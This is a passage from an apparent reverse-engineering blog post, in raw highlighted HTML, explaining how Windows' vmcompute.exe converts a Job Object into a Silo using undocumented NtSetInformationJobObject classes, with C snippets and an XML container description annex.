<span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">));</span><span class="w"> </span><span class="c1">// ror 8</span>
<span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">));</span><span class="w"> </span><span class="c1">// ror 8</span>
</code></pre></div>
<p>Then, it computes the <strong>SHA-1</strong> hash of both the transformed <code>ComputeSystemSeedId</code> and the name of the container.</p>
<div class="highlight"><pre><span></span><code><span class="n">BCRYPT_ALG_HANDLE</span><span class="w"> </span><span class="n">hAlgo</span><span class="p">;</span><span class="w"></span>
<span class="n">BCRYPT_HASH_HANDLE</span><span class="w"> </span><span class="n">hHash</span><span class="p">;</span><span class="w"></span>
<span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptOpenAlgorithmProvider</span><span class="p">(</span><span class="o">&</span><span class="n">hAlgo</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"SHA1"</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Microsoft Primitive Provider"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptCreateHash</span><span class="p">(</span><span class="n">hAlgo</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptHashData</span><span class="p">(</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">PUCHAR</span><span class="p">)</span><span class="n">ComputeSystemSeedId</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ComputeSystemSeedId</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptHashData</span><span class="p">(</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">PUCHAR</span><span class="p">)</span><span class="n">containerId</span><span class="p">,</span><span class="w"> </span><span class="n">wcslen</span><span class="p">(</span><span class="n">containerId</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="n">UCHAR</span><span class="w"> </span><span class="n">hashed</span><span class="p">[</span><span class="mh">0x14</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">BCryptFinishHash</span><span class="p">(</span><span class="n">hHash</span><span class="p">,</span><span class="w"> </span><span class="n">hashed</span><span class="p">,</span><span class="w"> </span><span class="mh">0x14</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
<span class="n">BCryptDestroyHash</span><span class="p">(</span><span class="n">hHash</span><span class="p">);</span><span class="w"></span>
<span class="n">BCryptCloseAlgorithmProvider</span><span class="p">(</span><span class="n">hAlgo</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>Finally, some additional transformations are applied to the hashed value.</p>
<div class="highlight"><pre><span></span><code><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT32</span><span class="o">*</span><span class="p">)</span><span class="n">hashed</span><span class="p">;</span><span class="w"></span>
<span class="o">*</span><span class="n">tmp32</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint32</span><span class="p">(</span><span class="o">*</span><span class="n">tmp32</span><span class="p">);</span><span class="w"></span>
<span class="n">tmp16</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">UINT16</span><span class="o">*</span><span class="p">)</span><span class="n">hashed</span><span class="p">;</span><span class="w"></span>
<span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="p">));</span><span class="w"></span>
<span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">swap_uint16</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">tmp16</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">3</span><span class="p">))</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x0FFF</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x5000</span><span class="p">;</span><span class="w"></span>
<span class="n">hashed</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">hashed</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x3F</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x80</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>This sums up how the <code>ContainerTelemetryId</code> is calculated.</p>
<p>To set this value inside the <strong>Job Object</strong>, the <strong>Host Compute Service</strong> is using an undocumented <strong>JOBOBJECTINFOCLASS</strong> with the value <code>0x2C</code>. </p>
<div class="highlight"><pre><span></span><code><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation1</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">size_t</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">wcslen</span><span class="p">(</span><span class="n">ContainerId</span><span class="p">);</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">ContainerId</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">towupper</span><span class="p">(</span><span class="n">ContainerId</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="n">ConvertIdToGuid</span><span class="p">(</span><span class="n">ContainerId</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectInformation1</span><span class="p">);</span><span class="w"></span>
<span class="n">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hJob</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x2C</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ObjectInformation1</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation1</span><span class="p">)</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>Before converting the <strong>Job Object</strong> into a <strong>Silo</strong>, <code>vmcompute.exe</code> will call the <code>ResolveRuntimeAliases</code> function.</p>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">ContainerDefinition</span><span class="o">::</span><span class="n">ResolveRuntimeAliases</span><span class="p">(</span><span class="n">Schema</span><span class="o">::</span><span class="n">Containers</span><span class="o">::</span><span class="n">Definition</span><span class="o">::</span><span class="n">Container</span><span class="w"> </span><span class="o">&</span><span class="p">,</span><span class="kt">void</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="n">std</span><span class="o">::</span><span class="n">wstring</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">&</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>This function is used to personalize the template according to the future <strong>Silo</strong>. Indeed, inside the template file (<code>C:\Windows\System32\containers\wsc.def</code>), it's possible to find this string: <code>"$SiloHivesRoot$\Silo_$SiloName$_"</code>. This is a placeholder that the <code>ResolveRuntimeAliases</code> function is in charge to replace with the actual value. For example the string:</p>
<div class="highlight"><pre><span></span><code><span class="s">"$SiloHivesRoot$\Silo_$SiloName$_Machine"</span><span class="w"></span>
</code></pre></div>
<p>Will become:</p>
<div class="highlight"><pre><span></span><code><span class="s">"\Registry\WC\Silo8cc2d900-274d-11ee-9647-d2e71108c566Machine"</span><span class="w"></span>
</code></pre></div>
<p>In this way, the various registry paths will be adapted according to the container.</p>
<p>Then the execution continues by calling <code>ComputeService::JobUtilities::ConvertJobObjectToContainer</code>.</p>
<h3>ConvertJobObjectToContainer</h3>
<div class="highlight"><pre><span></span><code><span class="n">ComputeService</span><span class="o">::</span><span class="n">JobUtilities</span><span class="o">::</span><span class="n">ConvertJobObjectToContainer</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="o">*</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">Schema</span><span class="o">::</span><span class="n">Containers</span><span class="o">::</span><span class="n">Definition</span><span class="o">::</span><span class="n">Container</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="o">&</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="kt">bool</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>The <code>ConvertJobObjectToContainer</code> function will first convert the container schema object into <strong>XML</strong> format and then convert the <strong>XML</strong> into a container description object by calling the functions <code>Marshal::ToXmlString</code> and <code>__imp_WcCreateDescriptionFromXml</code>.</p>
<div class="highlight"><pre><span></span><code><span class="nt"><container></span>
<span class="nt"><namespace></span>
<span class="nt"><job></span>
<span class="nt"><systemroot</span> <span class="na">path=</span><span class="s">"C:\Windows"</span> <span class="nt">/></span>
<span class="nt"></job></span>
<span class="nt"><mountmgr></span>
<span class="nt"><mount_point</span> <span class="na">name=</span><span class="s">"C"</span> <span class="na">path=</span><span class="s">"\Device\VhdHardDisk{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}"</span> <span class="nt">/></span>
<span class="nt"></mountmgr></span>
<span class="nt"><namedpipe</span> <span class="nt">/></span>
<span class="nt"><ob></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"FileSystem"</span> <span class="na">path=</span><span class="s">"\FileSystem"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"PdcPort"</span> <span class="na">path=</span><span class="s">"\PdcPort"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="cm"><!-- .. .--></span>
<span class="nt"></container></span>
</code></pre></div>
<p>To see the full <strong>XML</strong> description: <a href="#description">Annex - XML Description</a>.</p>
<p>Finally, once the description of the container is ready, <code>ConvertJobObjectToContainer</code> calls <code>WcCreateContainer</code> which can be found in the <code>container.dll</code> library.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/wcontainer.png" width="40%">
</center></p>
<p>This function is quite straightforward and simply transfers the execution to <code>container::CreateContainer</code>.</p>
<h3>CreateContainer</h3>
<p><code>container::CreateContainer</code> basically performs 2 things:</p>
<ul>
<li>Creates the container with <code>container_runtime::CreateContainerObject</code> ;</li>
<li>Calls <code>container::DownlevelProvider::InjectHostFiles</code>.</li>
</ul>
<p>We'll look at the container creation just right after, but let start with the second function for now.</p>
<p>Once the container has been created, <code>InjectHostFiles</code> simply gets the list of files to inject inside the <strong>Silo</strong> from the container schema. For examples:</p>
<ul>
<li><code>ntdll.dll</code></li>
<li><code>wow64.dll</code></li>
<li><code>verifier.dll</code></li>
</ul>
<h3>CreateContainerObject</h3>
<p>The <code>CreateContainerObject</code> function is the Holy Grail of container creation.</p>
<p>Firstly, this function calls the <code>container::JobProvider::Setup</code> function, which is responsible for completely transforming the <strong>Job Object</strong> into a <strong>Silo</strong>.</p>
<p>To be able to transform our <strong>Job Object</strong> into a <strong>Silo</strong>, <code>vmcompute.exe</code> uses the <code>NtSetInformationJobObject</code> API function 3 times.</p>
<p>First, it defines <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-jobobject_extended_limit_information">limits about the Job Object</a> with the <code>JobObjectExtendedLimitInformation</code> <strong>JOBOBJECTINFOCLASS</strong>.</p>
<p>Limits for <strong>Job Objects</strong> are used to set certain behaviors. For instance, it's possible to set the processor affinity mask, limit the amount of memory used, etc. </p>
<div class="highlight"><pre><span></span><code><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation2</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00400000</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="p">};</span><span class="w"></span>
<span class="n">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hJob</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">JobObjectExtendedLimitInformation</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ObjectInformation2</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation2</span><span class="p">)</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>In the code snippet above, the <code>LimitFlags</code> field is set with the value <code>0x00400000</code> which is undocumented, but according to the <a href="https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h">systeminformer</a> tool this limit is about setting the <strong>Silo</strong> ready: <code>#define JOB_OBJECT_LIMIT_SILO_READY 0x00400000</code>.</p>
<p>Then, the second call actually converts the <strong>Job Object</strong> into <strong>Silo</strong>!
This call uses the undocumented <strong>JOBOBJECTINFOCLASS</strong> <code>0x23</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hJob</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x23</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>Finally, it assigns the system root path to the <strong>Silo</strong> by also using yet another undocumented <strong>JOBOBJECTINFOCLASS</strong> whose value is <code>0x2d</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">PUNICODE_STRING</span><span class="w"> </span><span class="n">ObjectInformation4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="n">ObjectInformation4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">PUNICODE_STRING</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">UNICODE_STRING</span><span class="p">));</span><span class="w"></span>
<span class="n">RtlCreateUnicodeString</span><span class="p">(</span><span class="n">ObjectInformation4</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Windows"</span><span class="p">);</span><span class="w"></span>
<span class="n">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hJob</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x2d</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ObjectInformation4</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x10</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>The next step is to prepare the processes that are needed to run the <strong>Silo</strong>. Indeed, Windows needs several processes to work properly. To do so, <code>vmcompute.exe</code> tries to register the <strong>Silo</strong> with <strong>Session Manager Subsystem (SMSS)</strong> by calling <code>container_runtime::RegisterWithSm</code>. This function simply connects to <strong>SMSS</strong> and sends it a message using <strong>ALPC (Advanced Local Procedure Calls)</strong> which is an inter-process communication facility.</p>
<div class="highlight"><pre><span></span><code><span class="n">NTSYSAPI</span><span class="w"></span>
<span class="n">NTSTATUS</span><span class="w"></span>
<span class="n">NTAPI</span><span class="w"></span>
<span class="n">RtlConnectToSm</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">PUNICODE_STRING</span><span class="w"> </span><span class="n">ApiPortName</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">ApiPortHandle</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">ProcessImageType</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">_Out_</span><span class="w"> </span><span class="n">PHANDLE</span><span class="w"> </span><span class="n">SmssConnection</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="n">NTSYSAPI</span><span class="w"></span>
<span class="n">NTSTATUS</span><span class="w"></span>
<span class="n">NTAPI</span><span class="w"></span>
<span class="n">RtlSendMsgToSm</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">ApiPortHandle</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">PPORT_MESSAGE</span><span class="w"> </span><span class="n">MessageData</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>When creating a container with <strong>Docker</strong>, here are the processes that are automatically added:</p>
<ul>
<li><code>smss.exe</code></li>
<li><code>conhost.exe</code></li>
<li><code>wininit.exe</code></li>
<li><code>lsass.exe</code></li>
</ul>
<p>At the moment, this is not the solution used in the <a href="#code_silo">annex</a>. There are 2 other solutions. One is to use <a href="https://learn.microsoft.com/en-US/windows/compatibility/desktop-activity-moderator"><strong>DAM</strong></a> and the other is to directly <strong>assign a process</strong> into the <strong>Silo</strong>. Currently, our code implements the last one.</p>
<div class="highlight"><pre><span></span><code><span class="n">NtAssignProcessToJobObject</span><span class="p">(</span><span class="n">hJob</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0x0FFFFFFFFFFFFFFF9</span><span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>Finally, the <strong>Silo</strong> is fully created and can now be personalized with the functions below:</p>
<ul>
<li><code>container::ObjectManagerProvider::Setup</code></li>
<li><code>container::FilesystemProvider::Setup</code></li>
<li><code>container::RegistryProvider::Setup</code></li>
<li><code>container::NetworkProvider::SetupCompartment</code></li>
<li><code>container::MountManagerProvider::Setup</code></li>
<li><code>container::NamedPipeProvider::Setup</code></li>
</ul>
<p>We won't enter into the details of each function for now, however let's just add a small word about <code>container::ObjectManagerProvider::Setup</code>. <code>ObjectManagerProvider</code> registers the freshly created <strong>Silo</strong> in the <strong>Object Manager</strong>. To do so, it also uses an undocumented <strong>JOBOBJECTINFOCLASS</strong>: <code>0x25</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation5</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="n">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hJob</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x25</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ObjectInformation5</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation5</span><span class="p">)</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<h3>Silo</h3>
<p>Here it is. The <strong>Silo</strong> is created and visible with <code>Winobj.exe</code>. This tool is present in <a href="https://learn.microsoft.com/fr-fr/sysinternals/downloads/winobj">Sysinternals</a> and can be used to display various <strong>Windows Objects</strong> present in the system.</p>
<p><center>
<img src="resources/2023-07-24_silo_inernals_part_1/silo.png" width="20%">
</center></p>
<p>Finally, when the execution flow returns to the Orchestrator, after creating and setting up the Silo, it does a last modification of the <strong>Job Object</strong> with the <code>NtSetInformationJobObject</code> function. Once again it is using an undocumented <strong>JOBOBJECTINFOCLASS</strong>: <code>0x2a</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">UINT64</span><span class="w"> </span><span class="n">ObjectInformation6</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="n">NtSetInformationJobObject</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hJob</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="p">(</span><span class="n">JOBOBJECTINFOCLASS</span><span class="p">)</span><span class="mh">0x2a</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">ObjectInformation6</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">ObjectInformation6</span><span class="p">)</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<p>This last call is done inside the <code>SetVolumeResourceControls</code> function and reaches the <code>PspSetJobIoAttribution</code> kernel function.</p>
<h2>Conclusion</h2>
<p>In this first introductory article to the creation of <strong>Windows Containers</strong>, we covered the various steps involved in creating a <strong>Job Object</strong> and converting it into a <strong>Silo</strong>. During this analysis, we've mentioned the various functions used to configure the <strong>Silo</strong>.</p>
<p>Of course, there are still many parts to analyze: </p>
<ul>
<li><code>container::ObjectManagerProvider::Setup</code></li>
<li><code>container::FilesystemProvider::Setup</code></li>
<li><code>container::RegistryProvider::Setup</code></li>
<li><code>container::NetworkProvider::SetupCompartment</code></li>
<li><code>container::MountManagerProvider::Setup</code></li>
<li><code>container::NamedPipeProvider::Setup</code></li>
</ul>
<p>In the next article, we'll look at how to convert a <strong>Silo</strong> into a <strong>Server Silo</strong> in order to create a complete <strong>Windows Container</strong>.
In addition, we'll try to dig a little deeper into the undocumented <strong>JOBOBJECTINFOCLASS</strong> used.</p>
<p>I'd like to thank a lot <a href="https://twitter.com/pwissenlit">Gwaby</a> for her time and advice.</p>
<h2>Annexes</h2>
<h3><a href="#description">XML Description</a></h3>
<details><summary>Example of XML Windows Container Description</summary>
<div class="highlight"><pre><span></span><code><span class="nt"><container></span>
<span class="nt"><namespace></span>
<span class="nt"><job></span>
<span class="nt"><systemroot</span> <span class="na">path=</span><span class="s">"C:\Windows"</span> <span class="nt">/></span>
<span class="nt"></job></span>
<span class="nt"><mountmgr></span>
<span class="nt"><mount_point</span> <span class="na">name=</span><span class="s">"C"</span> <span class="na">path=</span><span class="s">"\Device\VhdHardDisk{d40a8aa1-df66-4002-9a1f-cbdfb037b4b7}"</span> <span class="nt">/></span>
<span class="nt"></mountmgr></span>
<span class="nt"><namedpipe</span> <span class="nt">/></span>
<span class="nt"><ob></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"FileSystem"</span> <span class="na">path=</span><span class="s">"\FileSystem"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"PdcPort"</span> <span class="na">path=</span><span class="s">"\PdcPort"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"SeRmCommandPort"</span> <span class="na">path=</span><span class="s">"\SeRmCommandPort"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Win32kCrossSessionGlobals"</span> <span class="na">path=</span><span class="s">"\Win32kCrossSessionGlobals"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Registry"</span> <span class="na">path=</span><span class="s">"\Registry"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Driver"</span> <span class="na">path=</span><span class="s">"\Driver"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"DriverData"</span> <span class="na">path=</span><span class="s">"\SystemRoot\System32\Drivers\DriverData"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"DriverStores"</span> <span class="na">path=</span><span class="s">"\DriverStore\Nodes"</span> <span class="na">scope=</span><span class="s">"Global"</span> <span class="nt">/></span>
<span class="nt"><objdir</span> <span class="na">name=</span><span class="s">"BaseNamedObjects"</span> <span class="na">clonesd=</span><span class="s">"\BaseNamedObjects"</span> <span class="nt">/></span>
<span class="nt"><objdir</span> <span class="na">name=</span><span class="s">"GLOBAL??"</span> <span class="na">clonesd=</span><span class="s">"\GLOBAL??"</span><span class="nt">></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"WMIDataDevice"</span> <span class="na">path=</span><span class="s">"\Device\WMIDataDevice"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"UNC"</span> <span class="na">path=</span><span class="s">"\Device\Mup"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"Tcp"</span> <span class="na">path=</span><span class="s">"\Device\Tcp"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
<span class="nt"><symlink</span> <span class="na">name=</span><span class="s">"MountPointManager"</span> <span class="na">path=</span><span class="s">"\Device\MountPointManager"</span> <span class="na">scope=</span><span class="s">"Local"</span> <span class="nt">/></span>
